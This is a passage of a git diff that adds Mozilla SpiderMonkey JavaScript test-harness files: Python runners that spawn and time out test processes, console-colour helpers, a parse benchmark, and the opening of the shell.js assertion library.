+ flush_input(ended.stderr, ended.err)
+ os.close(ended.stdout)
+ os.close(ended.stderr)
+
+ returncode = os.WEXITSTATUS(status)
+ if os.WIFSIGNALED(status):
+ returncode = -os.WTERMSIG(status)
+
+ finished.append(
+ TestOutput(
+ ended.test,
+ ended.cmd,
+ ''.join(ended.out),
+ ''.join(ended.err),
+ returncode,
+ (datetime.now() - ended.start).total_seconds(),
+ timed_out(ended, timeout)))
+ return tasks, finished
+
+def kill_undead(tasks, timeout):
+ """
+ Signal all children that are over the given timeout.
+ """
+ for task in tasks:
+ if timed_out(task, timeout):
+ os.kill(task.pid, 9)
+
+def run_all_tests(tests, prefix, pb, options):
+ # Copy and reverse for fast pop off end.
+ tests = list(tests)
+ tests = tests[:]
+ tests.reverse()
+
+ # The set of currently running tests.
+ tasks = []
+
+ while len(tests) or len(tasks):
+ while len(tests) and len(tasks) < options.worker_count:
+ test = tests.pop()
+ task = spawn_test(test, prefix,
+ options.passthrough, options.run_skipped, options.show_cmd)
+ if task:
+ tasks.append(task)
+ else:
+ yield NullTestOutput(test)
+
+ timeout = get_max_wait(tasks, options.timeout)
+ read_input(tasks, timeout)
+
+ kill_undead(tasks, options.timeout)
+ tasks, finished = reap_zombies(tasks, options.timeout)
+
+ # With Python3.4+ we could use yield from to remove this loop.
+ for out in finished:
+ yield out
+
+ # If we did not finish any tasks, poke the progress bar to show that
+ # the test harness is at least not frozen.
+ if len(finished) == 0:
+ pb.poke()
+
diff --git a/js/src/tests/lib/tasks_win.py b/js/src/tests/lib/tasks_win.py
new file mode 100644
index 000000000..7a4540c60
--- /dev/null
+++ b/js/src/tests/lib/tasks_win.py
@@ -0,0 +1,135 @@
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+from __future__ import print_function, unicode_literals, division
+
+import subprocess
+import sys
+from datetime import datetime, timedelta
+from progressbar import ProgressBar
+from results import NullTestOutput, TestOutput, escape_cmdline
+from threading import Thread
+from Queue import Queue, Empty
+
+
+class EndMarker:
+ pass
+
+
+class TaskFinishedMarker:
+ pass
+
+
+def _do_work(qTasks, qResults, qWatch, prefix, run_skipped, timeout, show_cmd):
+ while True:
+ test = qTasks.get(block=True, timeout=sys.maxint)
+ if test is EndMarker:
+ qWatch.put(EndMarker)
+ qResults.put(EndMarker)
+ return
+
+ if not test.enable and not run_skipped:
+ qResults.put(NullTestOutput(test))
+ continue
+
+ # Spawn the test task.
+ cmd = test.get_command(prefix)
+ if show_cmd:
+ print(escape_cmdline(cmd))
+ tStart = datetime.now()
+ proc = subprocess.Popen(cmd,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE)
+
+ # Push the task to the watchdog -- it will kill the task
+ # if it goes over the timeout while we keep its stdout
+ # buffer clear on the "main" worker thread.
+ qWatch.put(proc)
+ out, err = proc.communicate()
+ qWatch.put(TaskFinishedMarker)
+
+ # Create a result record and forward to result processing.
+ dt = datetime.now() - tStart
+ result = TestOutput(test, cmd, out, err, proc.returncode, dt.total_seconds(),
+ dt > timedelta(seconds=timeout))
+ qResults.put(result)
+
+
+def _do_watch(qWatch, timeout):
+ while True:
+ proc = qWatch.get(True)
+ if proc == EndMarker:
+ return
+ try:
+ fin = qWatch.get(block=True, timeout=timeout)
+ assert fin is TaskFinishedMarker, "invalid finish marker"
+ except Empty:
+ # Timed out, force-kill the test.
+ try:
+ proc.terminate()
+ except WindowsError as ex:
+ # If the process finishes after we time out but before we
+ # terminate, the terminate call will fail. We can safely
+ # ignore this.
+ if ex.winerror != 5:
+ raise
+ fin = qWatch.get(block=True, timeout=sys.maxint)
+ assert fin is TaskFinishedMarker, "invalid finish marker"
+
+
+def run_all_tests(tests, prefix, pb, options):
+ """
+ Uses scatter-gather to a thread-pool to manage children.
+ """
+ qTasks, qResults = Queue(), Queue()
+
+ workers = []
+ watchdogs = []
+ for _ in range(options.worker_count):
+ qWatch = Queue()
+ watcher = Thread(target=_do_watch, args=(qWatch, options.timeout))
+ watcher.setDaemon(True)
+ watcher.start()
+ watchdogs.append(watcher)
+ worker = Thread(target=_do_work, args=(qTasks, qResults, qWatch,
+ prefix, options.run_skipped,
+ options.timeout, options.show_cmd))
+ worker.setDaemon(True)
+ worker.start()
+ workers.append(worker)
+
+ # Insert all jobs into the queue, followed by the queue-end
+ # marker, one per worker. This will not block on growing the
+ # queue, only on waiting for more items in the generator. The
+ # workers are already started, however, so this will process as
+ # fast as we can produce tests from the filesystem.
+ def _do_push(num_workers, qTasks):
+ for test in tests:
+ qTasks.put(test)
+ for _ in range(num_workers):
+ qTasks.put(EndMarker)
+ pusher = Thread(target=_do_push, args=(len(workers), qTasks))
+ pusher.setDaemon(True)
+ pusher.start()
+
+ # Read from the results.
+ ended = 0
+ delay = ProgressBar.update_granularity().total_seconds()
+ while ended < len(workers):
+ try:
+ result = qResults.get(block=True, timeout=delay)
+ if result is EndMarker:
+ ended += 1
+ else:
+ yield result
+ except Empty:
+ pb.poke()
+
+ # Cleanup and exit.
+ pusher.join()
+ for worker in workers:
+ worker.join()
+ for watcher in watchdogs:
+ watcher.join()
+ assert qTasks.empty(), "Send queue not drained"
+ assert qResults.empty(), "Result queue not drained"
diff --git a/js/src/tests/lib/terminal_unix.py b/js/src/tests/lib/terminal_unix.py
new file mode 100644
index 000000000..9a3458008
--- /dev/null
+++ b/js/src/tests/lib/terminal_unix.py
@@ -0,0 +1,38 @@
+import sys
+
+class Terminal(object):
+ COLOR = {
+ 'red': '31',
+ 'green': '32',
+ 'blue': '34',
+ 'gray': '37'
+ }
+ NORMAL_INTENSITY = '1'
+ BRIGHT_INTENSITY = '2'
+ ESCAPE = '\x1b['
+ RESET = '0'
+ SEPARATOR = ';'
+ COLOR_CODE = 'm'
+ CLEAR_RIGHT_CODE = 'K'
+
+ @classmethod
+ def set_color(cls, color):
+ """
+ color: str - color definition string
+ """
+ mod = Terminal.NORMAL_INTENSITY
+ if color.startswith('bright'):
+ mod = Terminal.BRIGHT_INTENSITY
+ color = color[len('bright'):]
+ color_code = Terminal.COLOR[color]
+
+ sys.stdout.write(cls.ESCAPE + color_code + cls.SEPARATOR + mod
+ + cls.COLOR_CODE)
+
+ @classmethod
+ def reset_color(cls):
+ sys.stdout.write(cls.ESCAPE + cls.RESET + cls.COLOR_CODE)
+
+ @classmethod
+ def clear_right(cls):
+ sys.stdout.write(cls.ESCAPE + cls.CLEAR_RIGHT_CODE)
diff --git a/js/src/tests/lib/terminal_win.py b/js/src/tests/lib/terminal_win.py
new file mode 100644
index 000000000..db9d797c5
--- /dev/null
+++ b/js/src/tests/lib/terminal_win.py
@@ -0,0 +1,109 @@
+"""
+From Andre Burgaud's Blog, from the CTypes Wiki:
+http://www.burgaud.com/bring-colors-to-the-windows-console-with-python/
+
+Colors text in console mode application (win32).
+Uses ctypes and Win32 methods SetConsoleTextAttribute and
+GetConsoleScreenBufferInfo.
+
+$Id: color_console.py 534 2009-05-10 04:00:59Z andre $
+"""
+
+from ctypes import windll, Structure, c_short, c_ushort, byref
+
+SHORT = c_short
+WORD = c_ushort
+
+class COORD(Structure):
+ """struct in wincon.h."""
+ _fields_ = [
+ ("X", SHORT),
+ ("Y", SHORT)]
+
+class SMALL_RECT(Structure):
+ """struct in wincon.h."""
+ _fields_ = [
+ ("Left", SHORT),
+ ("Top", SHORT),
+ ("Right", SHORT),
+ ("Bottom", SHORT)]
+
+class CONSOLE_SCREEN_BUFFER_INFO(Structure):
+ """struct in wincon.h."""
+ _fields_ = [
+ ("dwSize", COORD),
+ ("dwCursorPosition", COORD),
+ ("wAttributes", WORD),
+ ("srWindow", SMALL_RECT),
+ ("dwMaximumWindowSize", COORD)]
+
+# winbase.h
+STD_INPUT_HANDLE = -10
+STD_OUTPUT_HANDLE = -11
+STD_ERROR_HANDLE = -12
+
+# wincon.h
+FOREGROUND_BLACK = 0x0000
+FOREGROUND_BLUE = 0x0001
+FOREGROUND_GREEN = 0x0002
+FOREGROUND_CYAN = 0x0003
+FOREGROUND_RED = 0x0004
+FOREGROUND_MAGENTA = 0x0005
+FOREGROUND_YELLOW = 0x0006
+FOREGROUND_GREY = 0x0007
+FOREGROUND_INTENSITY = 0x0008 # foreground color is intensified.
+
+BACKGROUND_BLACK = 0x0000
+BACKGROUND_BLUE = 0x0010
+BACKGROUND_GREEN = 0x0020
+BACKGROUND_CYAN = 0x0030
+BACKGROUND_RED = 0x0040
+BACKGROUND_MAGENTA = 0x0050
+BACKGROUND_YELLOW = 0x0060
+BACKGROUND_GREY = 0x0070
+BACKGROUND_INTENSITY = 0x0080 # background color is intensified.
+
+stdout_handle = windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)
+SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute
+GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo
+
+def get_text_attr():
+ csbi = CONSOLE_SCREEN_BUFFER_INFO()
+ GetConsoleScreenBufferInfo(stdout_handle, byref(csbi))
+ return csbi.wAttributes
+
+DEFAULT_COLORS = get_text_attr()
+
+class Terminal(object):
+ COLOR = {
+ 'black': 0x0000,
+ 'blue': 0x0001,
+ 'green': 0x0002,
+ 'cyan': 0x0003,
+ 'red': 0x0004,
+ 'magenta': 0x0005,
+ 'yellow': 0x0006,
+ 'gray': 0x0007
+ }
+ BRIGHT_INTENSITY = 0x0008
+ BACKGROUND_SHIFT = 4
+
+ @classmethod
+ def set_color(cls, color):
+ """
+ color: str - color definition string
+ """
+ color_code = 0
+ if color.startswith('bright'):
+ color_code |= cls.BRIGHT_INTENSITY
+ color = color[len('bright'):]
+ color_code |= Terminal.COLOR[color]
+ SetConsoleTextAttribute(stdout_handle, color_code)
+
+ @classmethod
+ def reset_color(cls):
+ SetConsoleTextAttribute(stdout_handle, DEFAULT_COLORS)
+
+ @classmethod
+ def clear_right(cls):
+ pass
diff --git a/js/src/tests/lib/tests.py b/js/src/tests/lib/tests.py
new file mode 100644
index 000000000..1de56dc1c
--- /dev/null
+++ b/js/src/tests/lib/tests.py
@@ -0,0 +1,216 @@
+# Library for JSTest tests.
+#
+# This contains classes that represent an individual test, including
+# metadata, and know how to run the tests and determine failures.
+
+import datetime, os, sys, time
+from contextlib import contextmanager
+from subprocess import Popen, PIPE
+from threading import Thread
+
+from results import TestOutput
+
+# When run on tbpl, we run each test multiple times with the following
+# arguments.
+JITFLAGS = {
+ 'all': [
+ [], # no flags, normal baseline and ion
+ ['--ion-eager', '--ion-offthread-compile=off'], # implies --baseline-eager
+ ['--ion-eager', '--ion-offthread-compile=off', '--non-writable-jitcode',
+ '--ion-check-range-analysis', '--ion-extra-checks', '--no-sse3', '--no-threads'],
+ ['--baseline-eager'],
+ ['--no-baseline', '--no-ion'],
+ ],
+ # used by jit_test.py
+ 'ion': [
+ ['--baseline-eager'],
+ ['--ion-eager', '--ion-offthread-compile=off']
+ ],
+ # Run reduced variants on debug builds, since they take longer time.
+ 'debug': [
+ [], # no flags, normal baseline and ion
+ ['--ion-eager', '--ion-offthread-compile=off'], # implies --baseline-eager
+ ['--baseline-eager'],
+ ],
+ # Interpreter-only, for tools that cannot handle binary code generation.
+ 'interp': [
+ ['--no-baseline', '--no-asmjs', '--no-wasm', '--no-native-regexp']
+ ],
+ 'none': [
+ [] # no flags, normal baseline and ion
+ ]
+}
+
+def get_jitflags(variant, **kwargs):
+ if variant not in JITFLAGS:
+ print('Invalid jitflag: "{}"'.format(variant))
+ sys.exit(1)
+ if variant == 'none' and 'none' in kwargs:
+ return kwargs['none']
+ return JITFLAGS[variant]
+
+def valid_jitflags():
+ return JITFLAGS.keys()
+
+def get_environment_overlay(js_shell):
+ """
+ Build a dict of additional environment variables that must be set to run
+ tests successfully.
+ """
+ env = {
+ # Force Pacific time zone to avoid failures in Date tests.
+ 'TZ': 'PST8PDT',
+ # Force date strings to English.
+ 'LC_TIME': 'en_US.UTF-8',
+ # Tell the shell to disable crash dialogs on windows.
+ 'XRE_NO_WINDOWS_CRASH_DIALOG': '1',
+ }
+ # Add the binary's directory to the library search path so that we find the
+ # nspr and icu we built, instead of the platform supplied ones (or none at
+ # all on windows).
+ if sys.platform.startswith('linux'):
+ env['LD_LIBRARY_PATH'] = os.path.dirname(js_shell)
+ elif sys.platform.startswith('darwin'):
+ env['DYLD_LIBRARY_PATH'] = os.path.dirname(js_shell)
+ elif sys.platform.startswith('win'):
+ env['PATH'] = os.path.dirname(js_shell)
+ return env
+
+
+@contextmanager
+def change_env(env_overlay):
+ # Apply the overlaid environment and record the current state.
+ prior_env = {}
+ for key, val in env_overlay.items():
+ prior_env[key] = os.environ.get(key, None)
+ if 'PATH' in key and key in os.environ:
+ os.environ[key] = '{}{}{}'.format(val, os.pathsep, os.environ[key])
+ else:
+ os.environ[key] = val
+
+ try:
+ # Execute with the new environment.
+ yield
+
+ finally:
+ # Restore the prior environment.
+ for key, val in prior_env.items():
+ if val is not None:
+ os.environ[key] = val
+ else:
+ del os.environ[key]
+
+
+def get_cpu_count():
+ """
+ Guess at a reasonable parallelism count to set as the default for the
+ current machine and run.
+ """
+ # Python 2.6+
+ try:
+ import multiprocessing
+ return multiprocessing.cpu_count()
+ except (ImportError, NotImplementedError):
+ pass
+
+ # POSIX
+ try:
+ res = int(os.sysconf('SC_NPROCESSORS_ONLN'))
+ if res > 0:
+ return res
+ except (AttributeError, ValueError):
+ pass
+
+ # Windows
+ try:
+ res = int(os.environ['NUMBER_OF_PROCESSORS'])
+ if res > 0:
+ return res
+ except (KeyError, ValueError):
+ pass
+
+ return 1
+
+
+class RefTest(object):
+ """A runnable test."""
+ def __init__(self, path):
+ self.path = path # str: path of JS file relative to tests root dir
+ self.options = [] # [str]: Extra options to pass to the shell
+ self.jitflags = [] # [str]: JIT flags to pass to the shell
+ self.test_reflect_stringify = None # str or None: path to
+ # reflect-stringify.js file to test
+ # instead of actually running tests
+
+ @staticmethod
+ def prefix_command(path):
+ """Return the '-f shell.js' options needed to run a test with the given
+ path."""
+ if path == '':
+ return ['-f', 'shell.js']
+ head, base = os.path.split(path)
+ return RefTest.prefix_command(head) \
+ + ['-f', os.path.join(path, 'shell.js')]
+
+ def get_command(self, prefix):
+ dirname, filename = os.path.split(self.path)
+ cmd = prefix + self.jitflags + self.options \
+ + RefTest.prefix_command(dirname)
+ if self.test_reflect_stringify is not None:
+ cmd += [self.test_reflect_stringify, "--check", self.path]
+ else:
+ cmd += ["-f", self.path]
+ return cmd
+
+
+class RefTestCase(RefTest):
+ """A test case consisting of a test and an expected result."""
+ def __init__(self, path):
+ RefTest.__init__(self, path)
+ self.enable = True # bool: True => run test, False => don't run
+ self.expect = True # bool: expected result, True => pass
+ self.random = False # bool: True => ignore output as 'random'
+ self.slow = False # bool: True => test may run slowly
+
+ # The terms parsed to produce the above properties.
+ self.terms = None
+
+ # The tag between |...| in the test header.
+ self.tag = None
+
+ # Anything occuring after -- in the test header.
+ self.comment = None
+
+ def __str__(self):
+ ans = self.path
+ if not self.enable:
+ ans += ', skip'
+ if not self.expect:
+ ans += ', fails'
+ if self.random:
+ ans += ', random'
+ if self.slow:
+ ans += ', slow'
+ if '-d' in self.options:
+ ans += ', debugMode'
+ return ans
+
+ @staticmethod
+ def build_js_cmd_prefix(js_path, js_args, debugger_prefix):
+ parts = []
+ if debugger_prefix:
+ parts += debugger_prefix
+ parts.append(js_path)
+ if js_args:
+ parts += js_args
+ return parts
+
+ def __cmp__(self, other):
+ if self.path == other.path:
+ return 0
+ elif self.path < other.path:
+ return -1
+ return 1
+
+ def __hash__(self):
+ return self.path.__hash__()
diff --git a/js/src/tests/moz.build b/js/src/tests/moz.build
new file mode 100644
index 000000000..28919c271
--- /dev/null
+++ b/js/src/tests/moz.build
@@ -0,0 +1,6 @@
+# -*- Mode: python; indent-tabs-mode: nil; tab-width: 40 -*-
+# vim: set filetype=python:
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
diff --git a/js/src/tests/parsemark.py b/js/src/tests/parsemark.py
new file mode 100644
index 000000000..5c2fa4a71
--- /dev/null
+++ b/js/src/tests/parsemark.py
@@ -0,0 +1,167 @@
+#!/usr/bin/env python
+
+"""%prog [options] shellpath dirpath
+
+Pulls performance data on parsing via the js shell.
+Displays the average number of milliseconds it took to parse each file.
+
+For comparison, something apparently approximating a t-test is performed:
+"Faster" means that:
+
+ t_baseline_goodrun = (t_baseline_avg - t_baseline_stddev)
+ t_current_badrun = (t_current_avg + t_current_stddev)
+ t_current_badrun < t_baseline_goodrun
+
+Effectively, a bad run from the current data is better than a good run from the
+baseline data, we're probably faster. A similar computation is used for
+determining the "slower" designation.
+
+Arguments:
+ shellpath executable JavaScript shell
+ dirpath directory filled with parsilicious js files
+"""
+
+from __future__ import print_function
+
+import math
+import optparse
+import os
+import subprocess as subp
+import sys
+from string import Template
+
+try:
+ import compare_bench
+except ImportError:
+ compare_bench = None
+
+
+_DIR = os.path.dirname(__file__)
+JS_CODE_TEMPLATE = Template("""
+if (typeof snarf !== 'undefined') read = snarf
+var contents = read("$filepath");
+for (var i = 0; i < $warmup_run_count; i++)
+ parse(contents);
+var results = [];
+for (var i = 0; i < $real_run_count; i++) {
+ var start = new Date();
+ parse(contents);
+ var end = new Date();
+ results.push(end - start);
+}
+print(results);
+""")
+
+
+def gen_filepaths(dirpath, target_ext='.js'):
+ for filename in os.listdir(dirpath):
+ if filename.endswith(target_ext):
+ yield os.path.join(dirpath, filename)
+
+
+def avg(seq):
+ return sum(seq) / len(seq)
+
+
+def stddev(seq, mean):
+ diffs = ((float(item) - mean) ** 2 for item in seq)
+ return math.sqrt(sum(diffs) / len(seq))
+
+
+def bench(shellpath, filepath, warmup_runs, counted_runs, stfu=False):
+ """Return a list of milliseconds for the counted runs."""
+ assert '"' not in filepath
+ code = JS_CODE_TEMPLATE.substitute(filepath=filepath,
+ warmup_run_count=warmup_runs,
+ real_run_count=counted_runs)
+ proc = subp.Popen([shellpath, '-e', code], stdout=subp.PIPE)
+ stdout, _ = proc.communicate()
+ milliseconds = [float(val) for val in stdout.split(',')]
+ mean = avg(milliseconds)
+ sigma = stddev(milliseconds, mean)
+ if not stfu:
+ print('Runs:', [int(ms) for ms in milliseconds])
+ print('Mean:', mean)
+ print('Stddev: {:.2f} ({:.2f}% of mean)'.format(
+ sigma, sigma / mean * 100))
+ return mean, sigma
+
+
+def parsemark(filepaths, fbench, stfu=False):
+ """:param fbench: fbench(filename) -> float"""
+ bench_map = {} # {filename: (avg, stddev)}
+ for filepath in filepaths:
+ filename = os.path.split(filepath)[-1]
+ if not stfu:
+ print('Parsemarking {}...'.format(filename))
+ bench_map[filename] = fbench(filepath)
+ print('{')
+ for i, (filename, (avg, stddev)) in enumerate(bench_map.iteritems()):
+ assert '"' not in filename
+ fmt = ' {:30s}: {{"average_ms": {:6.2f}, "stddev_ms": {:6.2f}}}'
+ if i != len(bench_map) - 1:
+ fmt += ','
+ filename_str = '"{}"'.format(filename)
+ print(fmt.format(filename_str, avg, stddev))
+ print('}')
+ return dict((filename, dict(average_ms=avg, stddev_ms=stddev))
+ for filename, (avg, stddev) in bench_map.iteritems())
+
+
+def main():
+ parser = optparse.OptionParser(usage=__doc__.strip())
+ parser.add_option('-w', '--warmup-runs', metavar='COUNT', type=int,
+ default=5,
+ help='used to minimize test instability [%default]')
+ parser.add_option('-c', '--counted-runs', metavar='COUNT', type=int,
+ default=50,
+ help='timed data runs that count towards the average'
+ ' [%default]')
+ parser.add_option('-s', '--shell', metavar='PATH',
+ help='explicit shell location; when omitted, will look'
+ ' in likely places')
+ parser.add_option('-b', '--baseline', metavar='JSON_PATH',
+ dest='baseline_path',
+ help='json file with baseline values to '
+ 'compare against')
+ parser.add_option('-q', '--quiet', dest='stfu', action='store_true',
+ default=False,
+ help='only print JSON to stdout [%default]')
+ options, args = parser.parse_args()
+ try:
+ shellpath = args.pop(0)
+ except IndexError:
+ parser.print_help()
+ print()
+ print('error: shellpath required', file=sys.stderr)
+ return -1
+ try:
+ dirpath = args.pop(0)
+ except IndexError:
+ parser.print_help()
+ print()
+ print('error: dirpath required', file=sys.stderr)
+ return -1
+ if not shellpath or not os.path.exists(shellpath):
+ print('error: could not find shell:', shellpath, file=sys.stderr)
+ return -1
+ if options.baseline_path:
+ if not os.path.isfile(options.baseline_path):
+ print('error: baseline file does not exist', file=sys.stderr)
+ return -1
+ if not compare_bench:
+ print('error: JSON support is missing, cannot compare benchmarks',
+ file=sys.stderr)
+ return -1
+ benchfile = lambda filepath: bench(shellpath, filepath,
+ options.warmup_runs,
+ options.counted_runs,
+ stfu=options.stfu)
+ bench_map = parsemark(gen_filepaths(dirpath), benchfile, options.stfu)
+ if options.baseline_path:
+ compare_bench.compare_immediate(bench_map, options.baseline_path)
+ return 0
+
+
+if __name__ == '__main__':
+ sys.exit(main())
diff --git a/js/src/tests/shell.js b/js/src/tests/shell.js
new file mode 100644
index 000000000..36dbc79da
--- /dev/null
+++ b/js/src/tests/shell.js
@@ -0,0 +1,889 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// NOTE: If you're adding new test harness functionality -- first, should you
+// at all? Most stuff is better in specific tests, or in nested shell.js
+// or browser.js. Second, supposing you should, please add it to this
+// IIFE for better modularity/resilience against tests that must do
+// particularly bizarre things that might break the harness.
+
+(function(global) {
+ /**********************************************************************
+ * CACHED PRIMORDIAL FUNCTIONALITY (before a test might overwrite it) *
+ **********************************************************************/
+
+ var undefined; // sigh
+
+ var Error = global.Error;
+ var Number = global.Number;
+ var String = global.String;
+ var TypeError = global.TypeError;
+
+ var ArrayIsArray = global.Array.isArray;
+ var ObjectCreate = global.Object.create;
+ var ObjectDefineProperty = global.Object.defineProperty;
+ var ReflectApply = global.Reflect.apply;
+ var StringPrototypeEndsWith = global.String.prototype.endsWith;
+
+ var runningInBrowser = typeof global.window !== "undefined";
+ if (runningInBrowser) {
+ // Certain cached functionality only exists (and is only needed) when
+ // running in the browser. Segregate that caching here.
+
+ var SpecialPowersSetGCZeal =
+ global.SpecialPowers ? global.SpecialPowers.setGCZeal : undefined;
+ }
+
+ var runningInShell = typeof window === "undefined";
+
+ /****************************
+ * GENERAL HELPER FUNCTIONS *
+ ****************************/
+
+ // We could use Array.prototype.pop, but we don't so it's clear exactly what
+ // dependencies this function has on test-modifiable behavior (i.e. none).
+ function ArrayPop(arr) {
+ assertEq(ArrayIsArray(arr), true,
+ "ArrayPop must only be used on actual arrays");
+
+ var len = arr.length;
+ if (len === 0)
+ return undefined;
+
+ var v = arr[len - 1];
+ arr.length--;
+ return v;
+ }
+
+ // We *cannot* use Array.prototype.push for this, because that function sets
+ // the new trailing element, which could invoke a setter (left by a test) on
+ // Array.prototype or Object.prototype.
+ function ArrayPush(arr, val) {
+ assertEq(ArrayIsArray(arr), true,
+ "ArrayPush must only be used on actual arrays");
+
+ var desc = ObjectCreate(null);
+ desc.value = val;
+ desc.enumerable = true;
+ desc.configurable = true;
+ desc.writable = true;
+ ObjectDefineProperty(arr, arr.length, desc);
+ }
+
+ function StringEndsWith(str, needle) {
+ return ReflectApply(StringPrototypeEndsWith, str, [needle]);
+ }
+
+ /****************************
+ * TESTING FUNCTION EXPORTS *
+ ****************************/
+
+ function SameValue(v1, v2) {
+ // We could |return Object.is(v1, v2);|, but that's less portable.
+ if (v1 === 0 && v2 === 0)
+ return 1 / v1 === 1 / v2;
+ if (v1 !== v1 && v2 !== v2)
+ return true;
+ return v1 === v2;
+ }
+
+ var assertEq = global.assertEq;
+ if (typeof assertEq !== "function") {
+ assertEq = function assertEq(actual, expected, message) {
+ if (!SameValue(actual, expected)) {
+ throw new TypeError('Assertion failed: got "' + actual + '", ' +
+ 'expected "' + expected +
+ (message ? ": " + message : ""));
+ }
+ };
+ global.assertEq = assertEq;
+ }
+
+ function assertEqArray(actual, expected) {
+ var len = actual.length;
+ assertEq(len, expected.length, "mismatching array lengths");
+
+ var i = 0;
+ try {
+ for (; i < len; i++)
+ assertEq(actual[i], expected[i], "mismatch at element " + i);
+ } catch (e) {
+ throw new Error("Exception thrown at index " + i + ": " + e);
+ }
+ }
+ global.assertEqArray = assertEqArray;
+
+ function assertThrows(f) {
+ var ok = false;
+ try {
+ f();
+ } catch (exc) {
+ ok = true;
+ }
+ if (!ok)
+ throw new Error("Assertion failed: " + f + " did not throw as expected");
+ }
+ global.assertThrows = assertThrows;
+
+ function assertThrowsInstanceOf(f, ctor, msg) {
+ var fullmsg;
+ try {
+ f();
+ } catch (exc) {
+ if (exc instanceof ctor)
+ return;
+ fullmsg =
+ "Assertion failed: expected exception " + ctor.name + ", got " + exc;
+ }
+
+ if (fullmsg === undefined) {
+ fullmsg =
+ "Assertion failed: expected exception " + ctor.name + ", " +
+ "no exception thrown";
+ }
+ if (msg !== undefined)
+ fullmsg += " - " + msg;
+
+ throw new Error(fullmsg);
+ }
+ global.assertThrowsInstanceOf = assertThrowsInstanceOf;
+
+ /****************************
+ * UTILITY FUNCTION EXPORTS *
+ ****************************/
+
+ var dump = global.dump;
+ if (typeof global.dump === "function") {
+ // A presumptively-functional |dump| exists, so no need to do anything.
+ } else {
+ // We don't have |dump|. Try to simulate the desired effect another way.
+ if (runningInBrowser) {
+ // We can't actually print to the console: |global.print| invokes browser
+ // printing functionality here (it's overwritten just below), and
+ // |global.dump| isn't a function that'll dump to the console (presumably
+ // because the preference to enable |dump| wasn't set). Just make it a
+ // no-op.
+ dump = function() {};
+ } else {
+ // |print| prints to stdout: make |dump| do likewise.
+ dump = global.print;
+ }
+ global.dump = dump;
+ }
+
+ var print;
+ if (runningInBrowser) {
+ // We're executing in a browser. Using |global.print| would invoke browser
+ // printing functionality: not what tests want! Instead, use a print
+ // function that syncs up with the test harness and console.
+ print = function print() {
+ var s = "TEST-INFO | ";
+ for (var i = 0; i < arguments.length; i++)
+ s += String(arguments[i]) + " ";
+
+ // Dump the string to the console for developers and the harness.
+ dump(s + "\n");
+
+ // AddPrintOutput doesn't require HTML special characters be escaped.
+ global.AddPrintOutput(s);
+ };
+
+ global.print = print;
+ } else {
+ // We're executing in a shell, and |global.print| is the desired function.
+ print = global.print;
+ }
+
+ var quit = global.quit;
+ if (typeof quit !== "function") {
+ // XXX There's something very strange about quit() in browser runs being a
+ // function that doesn't quit at all (!). We should get rid of quit()
+ // as an integral part of tests in favor of something else.
+ quit = function quit() {};
+ global.quit = quit;
+ }
+
+ var gczeal = global.gczeal;
+ if (typeof gczeal !== "function") {
+ if (typeof SpecialPowersSetGCZeal === "function") {
+ gczeal = function gczeal(z) {
+ SpecialPowersSetGCZeal(z);
+ };
+ } else {
+ gczeal = function() {}; // no-op if not available
+ }
+
+ global.gczeal = gczeal;
+ }
+
+ /******************************************************
+ * TEST METADATA EXPORTS (these are of dubious value) *
+ ******************************************************/
+
+ global.SECTION = "";
+ global.VERSION = "";
+ global.BUGNUMBER = "";
+
+ /*************************************************************************
+ * HARNESS-CENTRIC EXPORTS (we should generally work to eliminate these) *
+ *************************************************************************/
+
+ var PASSED = " PASSED! ";
+ global.PASSED = PASSED;
+
+ var FAILED = " FAILED! ";
+ global.FAILED = FAILED;
+
+ /** Set up test environment. */
+ function startTest() {
+ if (global.BUGNUMBER)
+ global.print("BUGNUMBER: " + global.BUGNUMBER);
+ }
+ global.startTest = startTest;
+
+ var callStack = [];
+
+ /**
+ * Puts funcName at the top of the call stack. This stack is used to show
+ * a function-reported-from field when reporting failures.
+ */
+ function enterFunc(funcName) {
+ assertEq(typeof funcName, "string",
+ "enterFunc must be given a string funcName");
+
+ if (!StringEndsWith(funcName, "()"))
+ funcName += "()";
+
+ ArrayPush(callStack, funcName);
+ }
+ global.enterFunc = enterFunc;
+
+ /**
+ * Pops the top funcName off the call stack. funcName, if provided, is used
+ * to check push-pop balance.
+ */
+ function exitFunc(funcName) {
+ assertEq(typeof funcName === "string" || typeof funcName === "undefined",
+ true,
+ "exitFunc must be given no arguments or a string");
+
+ var lastFunc = ArrayPop(callStack);
+ assertEq(typeof lastFunc, "string", "exitFunc called too many times");
+
+ if (funcName) {
+ if (!StringEndsWith(funcName, "()"))
+ funcName += "()";
+
+ if (lastFunc !== funcName) {
+ // XXX Eliminate this dependency on global.reportCompare's identity.
+ global.reportCompare(funcName, lastFunc,
+ "Test driver failure wrong exit function ");
+ }
+ }
+ }
+ global.exitFunc = exitFunc;
+
+ /** Peeks at the top of the call stack. */
+ function currentFunc() {
+ if (callStack.length == 0)
+ return "top level script";
+
+ return callStack[callStack.length - 1];
+ }
+ global.currentFunc = currentFunc;
+
+ // XXX This function is *only* used in harness functions and really shouldn't
+ // be exported.
+ var writeFormattedResult =
+ function writeFormattedResult(expect, actual, string, passed) {
+ print((passed ? PASSED : FAILED) + string + ' expected: ' + expect);
+ };
+ global.writeFormattedResult = writeFormattedResult;
+
+ /*****************************************************
+ * RHINO-SPECIFIC EXPORTS (are these used any more?) *
+ *****************************************************/
+
+ function inRhino() {
+ return typeof global.defineClass === "function";
+ }
+ global.inRhino = inRhino;
+
+ function GetContext() {
+ return global.Packages.com.netscape.javascript.Context.getCurrentContext();
+ }
+ global.GetContext = GetContext;
+
+ function OptLevel(i) {
+ i = Number(i);
+ var cx = GetContext();
+ cx.setOptimizationLevel(i);
+ }
+ global.OptLevel = OptLevel;
+})(this);
+
+(function(global) {
+ function getPromiseResult(promise) {
+ var result, error, caught = false;
